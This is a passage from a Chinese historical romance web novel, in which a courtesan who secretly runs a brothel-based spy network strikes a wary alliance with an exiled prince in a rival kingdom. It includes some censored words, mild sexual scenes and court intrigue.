她怎么觉得,在他眼里,仿佛看见个**一样?
“……公子但问无妨。”缩回了手脚,风月下意识地后退了两步,靠着墙,心里咚咚直跳。
跨进牢房一步,殷戈止声音低沉,一字一句却是清晰无比:“黄梨木的盒子,知道吗?”
浑身一紧,风月瞳孔微缩,贴紧了墙,低着头不敢再看他,嘴里却是立马反驳:“不知道。”
“我给你个机会。”仿佛没有听见她的回答,殷戈止伸手,抵在她耳侧的墙上,另一只手轻轻捏了她的下巴,将她的头抬起来与他对视:“要么,你来说清楚来龙去脉,背后原因。要么,我告诉你来龙去脉,送你下黄泉。”
冰冷无情的语气,连个起伏都没有,风月牙齿都忍不住打颤,被他的气息压在墙上,感觉自己就像屠刀下的小羊羔,眨眼的一瞬间就能血溅当场!
“好歹是睡过好几回的,公子当真忍心?”心绪不宁,风月压根不知道这人为什么会来问她黄梨木盒子的事情,只能硬着头皮继续撒娇:“奴家不懂您在说什么啊!”
眼神幽暗,里头全是千年的雪万年的冰,任凭风月怎么抛媚眼,怎么扭身子,怎么扯人家腰带,都半点没有变化。
于是风月知道了,当真是大事不好了。
身前这人没有吓唬她,当真是会弄死她的,就算她再怎么给他做好吃的,再怎么勾引他调戏他,当他觉得她该死的时候,她都一定会死。
真是绝情的男人啊……
低笑一声,风月收回了自己的爪子,挽了挽鬓发,抬眼正经地看着他:“既然瞒不下去了,那么殷大皇子,坐下来谈谈吧?”
被狼追着的猎物,应该都是拔腿就跑、慌里慌张、瑟瑟发抖的。但是,当他撕了这层羊皮,面前这人竟然冷静地停下来对他说,坐下谈谈。
“我有和你谈的必要吗?”他问,不知道是问她,还是问自己。
然而面前的人给了他一个很有说服力的回答:“黄梨木盒子里的东西能帮上您的忙,就有谈的必要。”
牢里呆了一夜了,风月脸上的妆有些花,整个人乱七八糟的,然而说这句话的时候,眼里迸出光来,让他觉得四周都亮了亮。
嫌弃地收回自己的手,殷戈止拿了手帕出来擦拭在墙上沾着的灰。
四周令人窒息的感觉顿消,风月又笑得跟个狐狸精似的了,勾**了他的手帕就擦自己的脸,顺便以
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他的眼眸为镜,梳理了一番散乱的头发。
“你是觉得我脾气很好?”瞧她这搔首弄姿的样子,殷大皇子脸色不太好看。
风月一笑,规规矩矩地跪坐在稻草堆里,抬眼看他:“奴家知道您脾气一向不好,所以长话短说。”
“公子若是有奴家相助,要动手查谁、找谁的弱点、去谁的府邸、交谁的信物,都会十分简单。黄梨木的盒子是奴家命人给公子的,因为公子要除的,也是奴家欲除之人。”
眼里深如长渊,殷戈止低下身子,声音极轻地问她:“你是想助我,还是想利用我?”
背后皮子一紧,风月笑得花枝乱颤:“人与人互助,也是互利,对大家都好的话,说什么利用不利用?这些东西奴家要拿到,很简单,而您要得到,却得费很大的功夫,还不一定能成。殿下选捷径呢,还是绕远路?”
殷戈止不为所动地看着她,眼里的杀意半点没少。
他有想要的东西,但不代表会为那些东西而被人拿捏。
深吸一口气,风月软了神色,干干净净的脸在月光下看起来分外真诚:“奴家不是威胁殿下,只是想求殿下庇佑,很多东西落在奴家这里,奴家也翻不出什么花儿来,毕竟身份低贱。但在您手中就不一样了,殿下。”
她有刀,但他才能**。
牢房里安静了许久,久到外头的观止几乎要觉得没人了,才又听见自家主子的声音。
他说:“你想做什么?”
风月眼里光芒流转,舔了舔嘴唇,分外兴奋地看着他:“奴家想**!”
“为何?”殷戈止冷笑:“你不是个普通百姓吗?”
“普通百姓就没有报国之心?”歪了歪脑袋,风月摇曳着小蛮腰就笑:“吴国士兵踏我大魏山河,害我家破人亡,父母皆没,兄妹全逝,您说,奴家不该**吗?”
眸色微动,殷戈止抬了抬下巴,眼睛却还盯着她:“你想屠尽吴国之人不成?”
“奴家没那个本事。”深深地看进他眼里,风月勾唇:“但只要是殿下想除的人,奴家必定相助。”
“哦?”殷戈止冷漠地看着他:“就因为我是魏国的大皇子?”
“还有一个原因。”风月掩唇,眼里瞬间涌上无边情意:“因为奴家爱慕殿下,能为殿下所用,奴家心甘情愿!”
本还是紧绷的气氛,被她这一句妖里妖气的话给说得崩了盘。殷戈止哂了一声,伸手就掐着她的脖子把人拉到自己面前:“说真话!”
“这……就是真话啊!”委委屈屈地眨眼,风月道:“殿下这般英明神武,奴家爱慕您,有什么不对吗?”
好像也是,挺顺理成章的。
手上一松,手里的人“呱唧”一声掉回了稻草堆,殷戈止转身,看着窗口外头的月亮,开始沉思。
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第38章 不忠便杀
上天掉馅饼这种事,你说殷戈止这种人,会不会信?
不会,他只会信天上掉陷阱。
所以就算风月的话挺有说服力的,他也没听进去,只对她背后的情报网分外感兴趣。
到底是怎样的情报网,才能提供这么多不得了的东西?
说不如做,半晌之后,殷大皇子回头,看着稻草堆里打着滚儿的人,说了一句:“既然如此,你不如送我个问安礼。”
问安礼这种东西,都是下级主动给上级送的,头一次见上级这么不要脸开口要的。
然而,现在命悬一线的小羊羔风月并没有心情吐槽,一听就点头如捣蒜:“送啊送啊送啊,您想要点啥?”
“三司使府上的账房不懂事,想给他换一个。护城军都尉也年纪大了,该让他回家养老。”殷戈止一本正经地道:“该准备的我都准备了,就差点东西。”
考验她啊?风月脸上露出点为难:“这两个差事一起……”
殷戈止睨着她,眼神凌厉,大有你说不行我就继续掐死你的意思。
一点骨气也没有地就怂了,风月语气立马转变,拍着胸脯道:“别说两个差事了,您交代的,五个差事也行啊,只要一出去,奴家马上想办法。”
“想出去吗?”殷戈止问。
废话!不然还继续在牢里过夜?风月小白眼直翻,抬头又抱着人家大腿不要脸地摇尾巴:“想啊想啊,公子带奴家出去啊。”
“口供录了,我在外头等你。”
抬腿就往外走,腿上这个巨型挂饰完全没有影响人家的走路姿势,殷戈止走得这叫一个气势磅礴镇定自若。
挂在人家腿上的风月被晃来晃去,一边晃一边想,真不愧是高手啊,下盘就是稳。
到了牢房外头有人看守的过道,殷戈止一把就将她掀了下去,旁边的狱卒见状,上来就朝他拱手,然后拖着风月就往审讯室走。
风月想,真不愧是大皇子啊,走后门都这么干净利落,一句话也不多说。
招供了那个给她银票的人的外貌特征,风月就被放出去了,月黑风高的,大牢门口站着个一身玄衣眉目含霜的人,听见动静,冰冷的眼神就朝她射了过来。
风月想,他奶奶的还不如回牢房呆着呢!
“上车。”
还没来得及转身,整个人就被抱了起来,往马车上一扔。
“咚!”
风月老实了,讨好地看着对面的人笑:“公子,回您府上吗?”
想得倒是挺好,殷戈止闭目养神,没理她。
撇撇嘴,风月自己掀开帘子看外头的路,不阴城的地图她都记熟了,这条路通向的是……
梦回楼。
“公子,梦回楼歇业整顿呢,您带奴家回去,未免太引人注目了些。”风月扁嘴。
“你总有能不引人注目就回去的法子。”殷戈止眼睛都不睁,意味深长地道:“我想见识见识。”
风月干笑:“还是不见识为好。”
“别废话。”
“……”
半个时辰之后,一男一女站在了梦回楼后院的狗洞面前。
那男的问那女的:“你是认真的?”
那女的委屈地回答:“是您非得见识的,那您现在见识吧,就这一条路,动静最小。”
“你试试,我看着。”殷戈止眯眼,抱着胳膊站在了旁边。
风月扁嘴,捞起裙摆揣在腰带里就低身往里头爬。一边爬一边碎碎念,要来看的是他,看不起这狗洞的也是他,梦回楼的墙那么高,要是不爬狗洞,难道飞进来嘛?
“快点。”有人催她。
风月咬牙,小声道:“奴家已经很快……”
话没说完,猛地抬头。
一双银底黑靴横在她面前,玄色的袍子边角上绣了银色的暗纹,再往上看,袍子的主人正着头,很是嫌弃地看着她。
我靠?一蹦就起身,风月上下看了看面前的殷戈止,又回头看了看梦回楼高高的围墙,想也不想张口就道:“你妖怪啊?”
这么高的墙也能飞?
梦回楼的墙,为了防止人攀爬,高得让人绝望,就算是有轻功的人,要越过来,也得费很大的劲儿。
用看**的眼神看了风月良久,殷戈止伸手指了指旁边。
后院的门开着一条缝,像一张横着咧笑的嘴,嘲讽着她弱智般的钻狗洞行为。
风月傻眼了,瞪了那门半晌,心虚地笑了笑。
不过下一瞬,她就反应了过来。不对啊!这门平时都是锁死的,怎么可能半夜开着?
“您方才进来的时候,撞见别的人了吗?”紧张兮兮地拉着殷戈止的袖子,风月问了一句。
殷戈止摇头:“没人撞见我。”
“那……”风月正想说,那门怎么会开着?但旁边这**喘气似的接了一句:“但是有人在出门右侧十步外的巷子口,正在缠绵。”
啥?风月瞪大了眼,跟看妖怪似的看着他:“你怎么知道?”
尊称都不用了?殷戈止挑眉,没跟她计较,只捂了她的嘴,一把就将人往外拖。
一出后院的门,那缠缠绵绵的声音就有些明显了,怨不得会被这位爷听见。风月眨眼,伸长脑袋去看,隐隐约约能看见那边巷子口的阴影处,有两个人影交叠。
“公子……啊……您轻些。”
这声音有点耳熟,风月眨巴着眼回忆是谁,还没想起来呢,就听见个年轻的声音:“小美人儿,跟爷回家如何?你们这地方,怕是要开不下去了。”
诶嘿?竟然还有人这么痴情,当真要给梦回楼的姑娘赎身啊?风月听得感动,旁边的人却是板了脸,松开了捂着她嘴的手,往那对影子的方向靠近了一点。
“公子说笑,您瞧着也不是寻常人家,家里哪能容得下奴家。”
这句话说得长,风月听出来了,是新晋花魁何愁的声音,那她身上的人……
“我爹最心疼我了,只要是我要的,他哪有不许的?”笑嘻嘻地在她脸颊上亲了一口,赵悉抱起何愁就道:“明儿爷就来赎你。”
哇塞!要不是偷听的缘故,风月都想鼓个掌,这位赵家少爷还真是风流倜傥,不长脑子啊,才跟何愁好几天,就敢把人赎出去
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何愁不说话了,勾着赵悉的脖子咿咿呀呀地叫唤,赵悉玩得高兴,直往人家脸上亲。
风月还想再看呢,冷不防就被旁边的人捂了眼睛,连拖带拽地弄回了她的房间。
“为啥不多看会儿?”风月扁嘴:“那位可是赵麟的独子,您不是也看赵麟不顺眼吗?”
本来是打算问这件事的,但是一听她这话,殷戈止就挑眉:
“你们梦回楼是不是有个规矩,但凡上门恩客,皆不问身份,不禀来去,但求自如?”
风月一惊,心虚地点头:“表面上的确是这么说的。”
“表面上?那实则?”
“实则只要透露过身份,暴露过信物,或者在言谈之中泄露过身份信息的人,梦回楼都有人记着。”也不跟他耍什么心眼,风月小声吩咐灵殊去打水给她洗漱之后,就跪坐在地毯上,看着他道:“这里的恩客都自认为很安全,很隐秘,所以很放心。”
梦回楼的布置奇特,楼梯甚多,饶是常客,客人与客人之间,只要不点着一个姑娘,碰面的机会都很少,除非有人特别留意,否则谁来了梦回楼,外头里头的人都该是不清楚的。
深深地看她一眼,殷戈止道:“这哪里是青楼,分明是贼窝。”
怎么就贼窝了?风月不高兴地道:“您们这些个贵人,都注重隐蔽,奴家给了您们足够多的遮掩和守口如瓶的保证,也不是没做到啊,外头那位是赵麟之子赵悉,这件事也就何愁、金妈妈,以及奴家知道。”
也就是说,整个梦回楼,所有姑娘从恩客身上得到的消息和信息,全部会流到面前这个女人的手里,不声不响,不为人知。
伸手捏了她的下巴,拇指轻轻摩挲,殷戈止半垂着眼看着她道:“你这么厉害,还用亲自入这风尘地,勾引太子?”
风月抿唇,不避不闪地道:“太子与其他恩客不同,其他姑娘没人能应付,只能奴家亲自来。”
她来魏国三年,从站稳脚跟到兴建梦回楼,一步步建立关系网,其中苦痛挣扎自是不必言说。本也是打算在幕后蹲着,出谋划策就好,谁知道有一天吴国太子也会来梦回楼。
有捷径不走,她又不是脑子抽抽,当即就挂牌上去了。
“你想让吴国的太子,帮你对付那些为吴国立功之人?”眼里满是不屑,殷戈止嗤了一声。
“未尝不可。”敛了神色,风月认真地道:“吴国太子心思深沉,最忌讳人手握重兵,功高震主。且奴家查探过,吴国律法严明,若奴家想杀之人,恰好触及吴国律法,那太子也必定不姑息。”
还真做了不少准备。
伸手顺着这人脸的轮廓轻轻摩挲,殷戈止眼里嘲弄之色不减:“妇道人家,想法就是单纯。”
浑身一紧,风月皱了眉,不解地看着他。
然而,殷戈止没有要解说的意思,手指划过她长长的睫毛道:“你若忠,那我便用。”
“但你若不忠,那我便杀!”
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第39章 全部的真相
没有半点情面的话,就像挑选盘里做好的菜,好吃的就塞嘴里,不好吃的就扔地上。
要是个要脸的人,听着这话多多少少心里都会有点膈应,谁还不是人了咋地?明明是合作互利,凭啥就要搞得性命垂危啊?
但是恰好,风月不要脸,任凭他再怎么凶,再怎么狠,都能笑盈盈地一张脸贴上去,谄媚地道:“奴家不忠您,还能忠谁啊?”
再冷的冰也冻不住她这团火,笑得没脸没皮,动作也没脸没皮,还敢伸腿来勾他的腰带。
“你为什么不怕我?”忍了很久,殷戈止终于忍不住问了出来。
亲近如观止,也常常被他吓着,她倒是好,睡过几回而已,竟然就一点不把他当外人,不管他脸色多难看,浑身气息多凶,她都能扛得住,并且朝他笑得没脸没皮的。
“怕?”
风月很想说实话,那就是怕肯定是怕的啊!只是她没敢表现得太明显,怕应付不到位,让他给掀了老底儿,那就当真只有下黄泉去害怕了。
但是呵呵一笑,她扭脸就道:“怎么会怕呢?公子人中龙凤,瞧这眉眼,这气质,打街上过也是惹姑娘红脸的。奴家有幸留在您身边,还怕什么?”
千穿万穿,马屁不穿!是个人就喜欢听好话,听了好话心情就会平和,心情平和的人一般是不杀生的!
既然如此,她愿意天天说好话给殷戈止,顺着这位爷的**捋,绝对不得罪他!
殷戈止沉默,先前还拿目光打量她,现在已经连给她个余光的兴趣都没有了,站起来就给自己倒了杯冷水,垂着眼眸抿着。
看这位大爷已经没有要理自己的兴趣了,风月识趣地收回蹄子,骨碌碌地就滚到了屏风后头。
“主子,水。”灵殊提着水桶进来,艰难地往屏风的方向走。
外头的观止瞧着,有点不忍心,伸手道:“给我吧,我来。”
有人帮忙省力气,灵殊自然没拒绝,松手就交给他,然后道:“还有呢,我再去搬。”
观止点头,提着水往屏风后头走,心想要这么多水是做什么?沐浴?
脑海里刚冒出这两个字,眼前就已经映入了屏风后头美人脱衫的风景。
倒吸一口凉气,观止脸都绿了,一桶水“哐当”一声,差点全洒。
站在屏风后头的风月和坐在桌边的殷戈止双双回神,一个飞快地蹲在了浴桶后头,一个二话没说,拎起自家随从的衣领,一把就将人扔下了楼。
“呯”地一声响,听得**疼。
窗户被关上,门也被关上,殷戈止脸色阴沉地站在屏风旁边,伸手把那桶水给倒了进去:“你可真是不拘小节。”
伸出个脑袋挂在浴桶边儿,风月委屈地道:“奴家知道灵殊没什么心眼,但不知道她缺心眼啊!”
她摆明是要洗澡的,那小丫头片子竟然还让观止倒水!
眯着眼睛盯着她,殷戈止突然说了一句:“你先前撒谎了。”
“嗯?”站起来继续脱衣衫,风月随意地应了一声。
“你说你沦落风尘,伺候人许久,方能在梦回楼挂牌。”眼皮子翻了翻,殷戈止看着她:“是撒谎的。”
废话,要是不撒谎,那她这个凭空冒出来的人,凭什么在梦回楼挂牌啊?不是更显得蹊跷吗?
脱得只剩了肚兜,风月转头就给了他个媚眼:“这些东西,似乎不是很要紧,公子就不必在意了吧。”
不是很要紧?
眉心微皱,殷戈止张口还要说什么,却想起头一次与她相处的时候,面前这人也已经不是清白之身了。
是不是妓子有什么要紧,做的都是一样的事情,还非得在意个名头么?
嗤了一声,也不知道是嫌弃自个儿还是嫌弃她,殷大皇子也没兴趣看美人入浴,回去软榻上斜躺着继续想事情。
浴桶里的水填满了,灵殊顶着脑袋上的一串儿包,委委屈屈地关门退了出去。
风月左看看右看看,裹着件儿薄纱就去给门窗都上了栓,然后披着长头迈着碎步就在软榻前头晃。
美人肌肤如雪,黑发如瀑,红纱裹着的身子若隐若现,怎么想也该是个让人血脉膨胀的香艳画面。
结果殷戈止面无表情地看了她很久,嘴皮一翻,很是不屑地道:“你还有跳大神的嗜好?”
一张笑盈盈的脸瞬间就垮了,低头看了看自个儿,她觉得很委屈:“奴家觉得自个儿跳的是天仙舞。”
用不可置信的眼神看了她许久,殷戈止指了指屏风:“你给我进去。”
不甘不愿地转身,风月进了屏风后头,想了想,一把就将折叠的屏风给推到了一边,然后抓着浴桶边儿就朝软榻的方向抛了个销魂的眼神。
殷戈止:“……”
小妖精可能是觉得自己死太慢了没什么意思,于是现在洗个澡都敢这么嚣张了,腿伸啊伸,手臂摆啊摆,衣衫半落,风光无限。
殷戈止看得一脸冷笑,就这么抱着胳膊靠在软垫上,看她能翻出个什么花来。
风月是很努力想翻朵花出来的啊,毕竟屋子里坐着的这个人周身戒备的气息一点没退,好歹即将是合作伙伴,这样的态度让人很没安全感的好不好?
既然正儿八经的说话不行,那她就只能用勾引了,男人和女人之间,还是适合在床上说话。
于是现在的风月同学,就充分利用了洗澡的空余时间,努力用自己的美色令那头的人神魂颠倒。
但是,努力是努力了,好像没什么效果,她手都快甩成大风车了,也没见那位爷笑一下。
真他奶奶的难伺候!
踩着浴桶边儿准备进去,风月眼睛还盯着殷戈止呢,一个没注意,脚下打滑,整个人“嘭”地一声就掉进了浴桶,溅起一朵巨大的水花。
冷眼旁观的殷大皇子,就看见一只鸭子一样的生物,以一种诡异的姿势一头栽了下去!方才还风情万种的人,眼下就剩了一双雪白的脚丫子,在外头惊慌地晃悠着。
一个没忍住,他失笑出声。眼里的冰雪都融了光,光芒流转,美色无边。
挣扎了半晌,风月才把自己的脑袋跟屁股换了个位置
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喷出来的水雾缓缓落下,眼里有水,她使劲儿眨,朦胧之间,好像看见软榻上有个神仙一样的人,眉目温和,笑得贼他奶奶的好看。
然而,等她抹了把脸,认真看过去的时候,神仙没了,剩了个大爷,满脸嫌弃地看着她。
眼花了?
茫然地看了他一会儿,在看见人家眼里的嘲讽之色的时候,风月终于有了点羞耻心,没再折腾了,转身老老实实地就将自己上上下下洗了个干净。
“做什么?”看她更衣出来,又坐在妆台前,殷戈止皱了皱眉。
“上妆啊。”风月捏着眉黛盯着镜子道:“金妈妈说过,脸是女人最大的武器,要上战场,必须要先准备好武器。”
起身捏了她手里的东西,一把扔出窗台,殷戈止将人抱起来,淡淡地道:“脸是武器,妆不是,至少对你来说不是。”
风月愕然,想了半天才想起来,对了,这位爷品味独特啊,不喜欢美艳的,倒喜欢粗里粗气的姑娘。
那她这脸还挺适合。
床帐落下来,殷戈止扯着她松松垮垮的衣带,突然问了一句:“若是我想找个人,你也能找吗?”
找人?
想起先前观止说的,他家主子好像在找个男人。
“只要是吴国的人,进过我梦回楼,那都好找。”风月笑道:“但若是其他地方的,就恕奴家鞭长莫及。”
这么说,也就是找不到他想找的人了。
微微黯了目光,殷戈止垂眸含了她的唇。
嗯哼?还愿意在她这儿住,那是不是说明,她今晚上表现还不错,暂时能保住小命啊?
心口吊着的石头总算落了下来,风月一笑,扭着身子回应他,给他最多的热情,像吸食阳气的妖精,贴着人家肆意纠缠。
殷戈止没拒绝,依旧跟什么都没发生一样,被她伺候得舒舒服服的,末了还往她肚兜里塞银票,像吃饱了付账的食客,满意地道:“不错。”
风月磨牙,裹着银票就滚进床里睡觉。
月色皎皎,借着月光,殷戈止第一次认真打量了这人的身子。
光是背上,就有不少深深浅浅的疤痕,若说是做农活儿的老实人,他不信。可反复确认她的经脉,虚而难盈,周身多处穴位堵塞,按着她会微疼。
这样的人,绝对是没有武功的。
没有武功,却带一身的伤。掌握整个梦回楼,却像是极好拿捏的普通妓子。利用女人获取情报,不是好人,可对他一向忠心的干将竟然会为她背叛自个儿。
她今天说的大多都是实话,他知道,但是,不是全部的实话。
剩下的,她不会再说,要他自己去找。
第二天天明,金妈妈就在大堂里召开了梦回楼紧急自救会议,邀请了除殷戈止以外所有在梦回楼的人参加。
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第40章 踏实的感觉
殷戈止是那种你不邀请他他反而会去的人吗?
他是。
一楼的楼道处,殷大皇子一身黑衣姿态潇洒地靠墙听着,就听得金妈妈痛心疾首地道:
“楼里出了案子,要歇业整顿,风月已经回来了,咱们是清白的,但碍于名声问题,这段时间还得大家一起咬牙挺过去。”
断弦听着就朝风月翻了个白眼:“这下倒好,一人惹祸,所有人跟着倒霉,咱们吃的可是年岁饭,本来挣钱的日子就不多,还得被人白白耽误。”
“就是啊,风月屋子里的客人出了事,关咱们其他人什么事啊?要不接客,她一个人不接不就好了,咱们整顿有什么用?”微云恼怒地道:“妈妈还指望着过段时间就能有人把这事儿给忘了?拜托,**的又不是什么无名小卒,以后人家提起这事儿,就会想起咱们梦回楼出过下毒的案子,风月继续留在这儿,谁还敢上门啊?”
“微云姑娘说得在理。”此话一出,众人纷纷附和:“要说怎么挺过去,那除非是风月离开梦回楼。”
殷戈止微顿,往外看了一眼。
坐在大堂中央的风月依旧是笑眯眯的,仿佛不管别人说什么,都影响不了她愉快的心情。
瞧着她这态度,旁边的人说话就更加不客气了:“没脸没皮的,害了大家很得意是吧?”
“还指望着金主救你呢?人家在你房里吃东西**了,你还指望人家回头要你不成?”断弦冷笑:“我都不知道你凭什么这么自在!”
“就凭我不要脸啊。”风月理所应当地看着她。
众人:“……”
暗处的人抿唇,揉了揉眉心。
本还觉得她是要被欺负了,谁曾想,竟然吐这么一句话出来。扫一眼那边一群姑娘脸上毫不作假的愤怒神色,殷戈止觉得,她们大概都不知道风月是谁,在梦回楼里扮演的什么角色,唯一知情的,可能只有一个金妈妈。
“都别吵了。”金妈妈开口,身子往风月面前一挡,瞪着这群小蹄子就道:“谁不愿意待了就让人来妈妈这儿赎身,既然还在梦回楼,那就听我的话!你们少说,多做,明白吗!”
一众姑娘都有点不服气,可金妈妈的话,也没人敢顶撞,只能哼哼唧唧地应了。
“妈妈。”一直没吭声的何愁开口,朝她递了一叠银票来:“这是定金,赵公子说,待会儿就来赎奴家走。”
大堂里安静了一瞬,除了风月,其他人的眼珠子都瞪得要掉出来了。
还真有个被人赎了身的?!
风月平静地看着何愁,这姑娘稳重,办事比谁都让她放心,她被赎走,总也会回来的。
“恭喜了。”
听见风月开口说这一句,众人也才纷纷回神,七嘴八舌地问着情况,有羡慕的,有嫉妒的,一时也没人将注意力放在风月身上。
她不动声色地就退回了殷戈止身边,脸一抹,跟换了脸谱似的,惨兮兮地就朝他嘤嘤起来:“奴家被骂得好惨啊,都是您害的!”
嘴角抽了抽,殷戈止拎着她就上楼,关上门道:“何愁恰好被赵悉赎身。”
“嗯。”手搭在人家胸口,风月打了个呵欠:“赵悉没少往咱们这儿跑,何愁性子安静不争,相貌也上乘,他看上她很正常。”
“你想怎么做?”他低头看她。
有点困倦,风月的小脑袋很自然地就靠在了他胸口,喃喃道:“不想怎么做啊,完成公子交代的差事而已。朱来财下毒的事情,奴家觉得公子能扣死他,就怕三司使大人捞人,他要捞的话,您给他看这个就成了。”
伸手塞给他个黄梨木的盒子,风月继续道:“这事儿算简单的,但赵麟是护城军都尉,职位高权力重,府邸可森严了,压根打听不到消息,所以让何愁去试试吧。”
打开盒子看了看,是一本账,朱来财身为三司使的账房,在大额的走账过程里,没少往自己腰包塞钱。三司使若是想捞他,这本账也足够烧得他松手。
朱来财贪,就能扯出他的贪,明哲保身这种事,不用人教他们都会。
“你从哪儿弄到这个的?”随意翻了翻,殷戈止皱眉。
“做出来的。”风月道:“他经常在梦回楼留宿,身边带着的印信章子之类的全被奴家复刻了一个遍儿。”
竟然是假的?殷戈止眯眼,忍不住道:“你这狐狸精。”
“公子这是夸奴家聪明啊,还是夸奴家长得媚人?”抬头一笑,风月勾着他的腰带就把人往床边引,伸手拿了他手里的账本扔在一边,然后躺上床,将殷戈止抱了个踏实。
“就算是假的也能用,山稳河堂堂三司使,这么多年屹立不倒,心自然是狠的。得到这样的账本,他只会看印鉴辨真伪,根本不会与身缠官司的朱来财对峙,说不定还提前送他一程。”
说得没错,殷戈止颔首,然后侧眼看向旁边的人:“你要睡便睡,抱我做什么?”
不抱着,万一她睡着的时候就被他给舍弃了,醒来就置身囹圄,那怎么办?肯定是抱着有安全感一点啊!
闭着眼睛,风月感叹着开口:“奴家没有见过全天下还有谁比公子的身躯还伟岸的了!抱着您,奴家感觉格外地踏实,就算天塌下来,也一定有您在旁边替奴家撑着!所以,奴家舍不得松开您!”
黑了半边脸,殷戈止难得地打了个颤栗,浑身寒毛倒竖,嫌弃之情溢于言表。
然而,嫌弃归嫌弃,还是任由她抱着,没挪窝。
“楼里的姑娘都是你骗来的?”他问:“不然为什么心甘情愿替你收集消息?”
听见这话,风月半睁开了眼。
楼里的姑娘十有**都是知道自己在做什么的,沉默如何愁,尖酸如断弦,每个人都在深夜替她传递消息。她们可以过舒坦的日子,比如从良了安安稳稳地相夫教子,但是她们一个都没走,
没人骗她们,只是她们也经历过亲人和家园在一场大战之中什么也不剩下的痛苦,经历过挚爱和骨肉生生被人剥离的绝望。
心里有执念和恨意的人,是没办法好生过日子的,比如她,比如她
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们。
楼里的人是三年前零零散散自己来的,最先只有几个姑娘,后来越来越多,金妈妈把关,只收战火之中的难民,其余的,一概没让进楼。进来的姑娘们待上一个月就会知道自己的任务,也会知道有一个领头人的存在。
但她们不知道是她。
“你就当是被奴家骗来的吧。”风月答他。
殷戈止不悦地侧身,面对着她躺着,伸手掐了掐她的脸蛋:“那为什么她们都不认识你?你连在自己人面前都要伪装,是何目的?”
“目的吗?”风月咧嘴:“这群姑娘们都挺绝望的,连自己的贞洁都不在乎了,活着都是为了报仇。我是带着她们报仇的人,要是在她们面前,展现那一副任人欺凌的妓子模样,您说,她们会不会更绝望?”
心里莫名地一抽,殷戈止几乎脱口而出:那你呢?
你就不绝望吗?
然而他没问出来,面前这人打了个呵欠,跟只小猫咪一样,吧砸吧砸嘴,靠在他怀里就睡了。
不知道为什么,这女人总是喜欢贴着他,贴着他的背,或者缩在他怀里,要么就是伸了指头死死扣着他的手。
更糟糕的是,她这么做,他会觉得很安心,背后贴着人,莫名的觉得安全。怀里钻着人,莫名地觉得满足。
她身上有好多好多秘密啊,谁知道那一团团的东西里头包着的是刀还是什么,就这么抱着,会扎着他吧。
然而,想是这么想,他还是抱着她,闭着眼睛安心地睡了个回笼觉。
叶御卿站在门口的时候,就看见两个跟连体婴儿一样的人,衣裳都穿得整齐,却抱在一起睡着。
倒吸一口凉气,他有些不解,正想靠近点看看,面对他躺着的人就安静地睁开了眼睛。
漆黑的眸子一对上,叶御卿停住了步子,心里一跳,僵硬了一番,才笑着朝他拱了拱手。
看一眼旁边还睡着的人,殷戈止起身,无声地越过她,下床出去。
梦回楼隔壁的茶楼。
叶御卿伸手给对面的人斟了茶,笑道:“还以为要养上几日了,想不到殿下恢复得很快。”
岂止是快,简直是变态,还趁他不在去风月屋子里!
“多谢殿下关心。”接过茶看也没看就喝了,殷戈止道:“殿下有事?”
有**的事啊,风月现在是被他包着的,他来看看是正常的好不好?
压着心里的不悦,太子殿下摇着扇子风度翩翩地道:“瞧殿下似乎很喜欢风月,果真跟御卿是一路人,连看上的姑娘都是同一个。”
看着他,殷戈止很想说你眼光真的不怎么样,但是想想好像把自己也骂进去了,于是沉默没应。
茶楼二楼空无一人,叶御卿觉得再跟这人打太极也没什么意思了,干脆开门见山:“御卿最近遇见些麻烦事,不知殿下可否相助?”
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第41章 干将
每次来找他,叶御卿都是遇见了麻烦的,但殷戈止明哲保身,一向是毫不留情地回绝,不与他同一战线。叶御卿也习惯了,毕竟殷戈止喜欢易掌珠,而易大将军与自个儿的立场,可不算太一致。
但是今日,面前的人捏着茶盏,眼里竟然流露出了犹豫的神色!
他犹豫了!
如同看见天上掉金子了似的,叶御卿笑得整个人都灿烂了,放了扇子,十分真诚地就接着道:“也不是什么**烦,只是武官要做的事情,御卿实在不擅长,只能求助于殿下,还望殿下能援手一二。”
眼里犹豫之色更浓,殷戈止像是在经历什么挣扎,半晌之后,叹了口气问:“何事?”
太阳打西边出来了?咽了口唾沫,叶御卿忍不住往窗外看了一眼,然后转回头来,笑道:“父皇授意御卿查访护城军,说近来由于难民又增,不阴城频频出事,护城军有失职之处。但……御卿向来从文,在军中说话,恐难令人信服,所以……”
所以这得罪人的事儿要不然你来?
殷戈止没吭声,安静地喝了一口茶,眉目间满是为难,还带了点不耐烦。
“当然,御卿知道,此事本也与殿下无关,没道理把殿下牵扯进来。”瞧着他有要拒绝的意思,叶御卿连忙道:“但御卿觉得,殿下兵法武学方面的造诣,无人不信服。只要殿下肯援手,那一切后果,由御卿承担,断然不会令殿下为难。”
也就是说你放心去吧,出事儿了我帮你顶着!
殷戈止垂眸,食指轻轻摩挲着手里小巧的茶杯,终于开口:“最近几日,在下身子不好。”
不想奔波。
叶御卿笑得咬牙切齿的。
身子不好?身子不好你还往梦回楼跑啊?不是差点就在风月的房间里被毒**吗?结果才恢复一点,就又跑过来了?还想再被毒彻底点?
人做事都是要回报的,叶御卿明白,殷戈止要的回报也简单,都这么说了,那他没有不应的道理。
“殿下被下毒之事,御卿一定会严查,绝对不会饶了凶手。”义正言辞地开口,叶御卿道:“**偿命,敢对您动手的,不管得逞没得逞,一样要偿命。殿下只管拿着此物去护城军查访,剩下的事情,御卿一定会给殿下一个交代!”
东宫的印信,红玛瑙的章子,安静地躺在叶御卿的手心。
殷戈止像是不曾察觉,也没想过接过这东西代表了什么一样,顺手就拿了去,颔首道:“好。”
眼眸微亮,叶御卿起身拱手:“如此,就多谢殿下了。”
“哪里。”
兴高采烈地下楼,叶御卿觉得今儿不阴城的天气都格外的好!他想拉殷戈止入伙真的想得辗转难眠啊!这样一把绝世好剑,一旦助他,就可以帮他在兵权方面劈开一条口子,打破易国如一手遮天的情况,为叶氏皇族后代的江山添几分稳固!
殷戈止入吴一年,深居简出,不与人打交道,但吴国会武之人都知道他的厉害,崇敬之人不在少数。他身份尴尬,无法掌权也无法为官,这更是自个儿最看重的优点,一直想加以利用……啊不是,加以器重。
感谢蠢到家的对殷戈止下手的人们,这回一**,终于是把无欲无求的殷戈止给逼急了,愿意出山了。
朝天拜了拜,叶御卿摇着扇子正想继续往梦回楼走,但脑子里闪过方才进去看见的画面,脚步就是一顿。
哎呀呀,不巧不巧,他看上的姑娘,他也看上了,现在正是拉拢人心的时候,他为主,自然当让。
遗憾地看了梦回楼的方向一眼,叶御卿想,无妨,那姑娘说不定还能成为他与殷戈止之间,最重要的纽带呢。
